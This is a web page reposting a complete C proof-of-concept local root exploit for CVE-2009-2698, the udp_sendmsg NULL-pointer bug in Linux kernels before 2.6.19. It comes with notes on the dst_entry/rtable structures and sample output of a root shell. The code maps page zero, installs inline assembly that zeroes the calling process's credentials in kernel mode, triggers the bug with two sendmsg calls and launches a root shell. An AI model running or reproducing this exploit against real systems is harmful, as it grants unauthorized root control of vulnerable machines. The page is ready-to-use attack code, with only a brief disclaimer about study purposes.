/* second verse, same as the first
CVE-2009-2698 udp_sendmsg(), x86/x64
Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at
NULL and finding it executed
This exploit is a bit more nuanced and thoughtful ;)
use ./therebel.sh for everything

At this moment, when each of us must fit an arrow to his bow and
enter the lists anew, to reconquer, within history and in spite of it,
that which he owns already, the thin yield of his fields, the brief
love of the earth, at this moment when at last a man is born, it is
time to forsake our age and its adolescent furies. The bow bends;
the wood complains. At the moment of supreme tension, there will
leap into flight an unswerving arrow, a shaft that is inflexible and
free. -Camus
*/
back: 2009-therebel

 

Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (debian/etch)

/***********************************************************
 * hoagie_udp_sendmsg.c
 * LOCAL LINUX KERNEL ROOT EXPLOIT (&lt; 2.6.19) - CVE-2009-2698
 *
 * udp_sendmsg bug exploit via (*output) callback function
 * used in dst_entry / rtable
 *
 * Bug reported by Tavis Ormandy and Julien Tinnes
 * of the Google Security Team
 *
 * Tested with Debian Etch (r0)
 *
 * $ cat /etc/debian_version
 * 4.0
 * $ uname -a
 * Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
 * $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
 * $ ./hoagie_udp_sendmsg
 * hoagie_udp_sendmsg.c - linux root &lt; 2.6.19 local
 * -andi / void.at
 *
 * sh-3.1# id
 * uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
 * sh-3.1#
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
/**
 * this code will be called from NF_HOOK via (*output) callback in kernel mode
 */
void set_current_task_uids_gids_to_zero() {
   asm("push %eax\n"
       "movl $0xffffe000, %eax\n"
       "andl %esp, %eax\n"
       "movl (%eax), %eax\n"
       "movl $0x0, 0x150(%eax)\n"
       "movl $0x0, 0x154(%eax)\n"
       "movl $0x0, 0x158(%eax)\n"
       "movl $0x0, 0x15a(%eax)\n"
       "movl $0x0, 0x160(%eax)\n"
       "movl $0x0, 0x164(%eax)\n"
       "movl $0x0, 0x168(%eax)\n"
       "movl $0x0, 0x16a(%eax)\n"
       "pop  %eax\n");
}
 
int main(int argc, char **argv) {
   int s;
   struct msghdr header;
   struct sockaddr_in sin;
   char *rtable = NULL;
 
   fprintf(stderr,
           "hoagie_udp_sendmsg.c - linux root &lt;= 2.6.19 local\n" 	              "-andi / void.at\n\n");    s = socket(PF_INET, SOCK_DGRAM, 0);    if (s == -1) {       fprintf(stderr, "[*] can't create socket\n");       exit(-1);    }    /**     * initialize required variables     */    memset(&amp;header, 0, sizeof(struct msghdr));    memset(&amp;sin, 0, sizeof(struct sockaddr_in));    sin.sin_family = AF_INET;    sin.sin_addr.s_addr = inet_addr("127.0.0.1");    sin.sin_port = htons(22);    header.msg_name = &amp;sin;    header.msg_namelen = sizeof(sin);    /**     * and this is the trick:     * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=&gt; offset 0x74)
    * so we map our rtable buffer at offset 0 and set output callback function
    *
    * struct dst_entry
    * {
    *         struct dst_entry        *next;
    *         atomic_t                __refcnt;       client references
    *         int                     __use;
    *         struct dst_entry        *child;
    *         struct net_device       *dev;
    *         short                   error;
    *         short                   obsolete;
    *         int                     flags;
    * #define DST_HOST                1
    * #define DST_NOXFRM              2
    * #define DST_NOPOLICY            4
    * #define DST_NOHASH              8
    * #define DST_BALANCED            0x10
    *         unsigned long           lastuse;
    *         unsigned long           expires;
    *
    *         unsigned short          header_len;     * more space at head required *
    *         unsigned short          trailer_len;    * space to reserve at tail *
    *
    *         u32                     metrics[RTAX_MAX];
    *         struct dst_entry        *path;
    *
    *         unsigned long           rate_last;      * rate limiting for ICMP *
    *         unsigned long           rate_tokens;
    *
    *         struct neighbour        *neighbour;
    *         struct hh_cache         *hh;
    *         struct xfrm_state       *xfrm;
    *
    *         int                     (*input)(struct sk_buff*);
    *         int                     (*output)(struct sk_buff*);
    *
    * #ifdef CONFIG_NET_CLS_ROUTE
    *         __u32                   tclassid;
    * #endif
    *
    *         struct  dst_ops         *ops;
    *         struct rcu_head         rcu_head;
    *
    *         char                    info[0];
    * };
    *
    * struct rtable
    * {
    *         union
    *         {
    *                 struct dst_entry        dst;
    *                 struct rtable           *rt_next;
    *         } u;
    *
    *         struct in_device        *idev;
    *
    *         unsigned                rt_flags;
    *         __u16                   rt_type;
    *         __u16                   rt_multipath_alg;
    *
    *         __be32                  rt_dst; * Path destination     *
    *         __be32                  rt_src; * Path source          *
    *         int                     rt_iif;
    *
    *         * Info on neighbour *
    *         __be32                  rt_gateway;
    *
    *         * Cache lookup keys *
    *         struct flowi            fl;
    *
    *         * Miscellaneous cached information *
    *          __be32                  rt_spec_dst; * RFC1122 specific destination *
    *         struct inet_peer        *peer; * long-living peer info *
    * };
    *
    */
   rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
   if (rtable == MAP_FAILED) {
      fprintf(stderr, "[*] mmap failed\n");
      exit(-1);
   }
   *(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;
 
   /* trigger exploit
    *
    * the second sendmsg() call will call ip_append_data() with rt == NULL
    * because of:
    * if (up-&gt;pending) {
    *          *
    *          * There are pending frames.
    *          * The socket lock must be held while it's corked.
    *          *
    *          lock_sock(sk);
    *          if (likely(up-&gt;pending)) {
    *                    if (unlikely(up-&gt;pending != AF_INET)) {
    *                            release_sock(sk);
    *                            return -EINVAL;
    *                    }
    *                    goto do_append_data;
    *            }
    *            release_sock(sk);
    *    }
    *
    */
   sendmsg(s, &amp;header, MSG_MORE|MSG_PROXY);
   sendmsg(s, &amp;header, 0);
 
   close(s);
 
   system("/bin/sh");
 
   return 0;
}
 
// milw0rm.com [2009-09-02]

: http://www.nuanyue.com/linux-kernel-2-6-19-udp_sendmsg-local-root-exploit-x86x64.html

本文相关评论 - 1条评论都没有呢

还没有任何评论。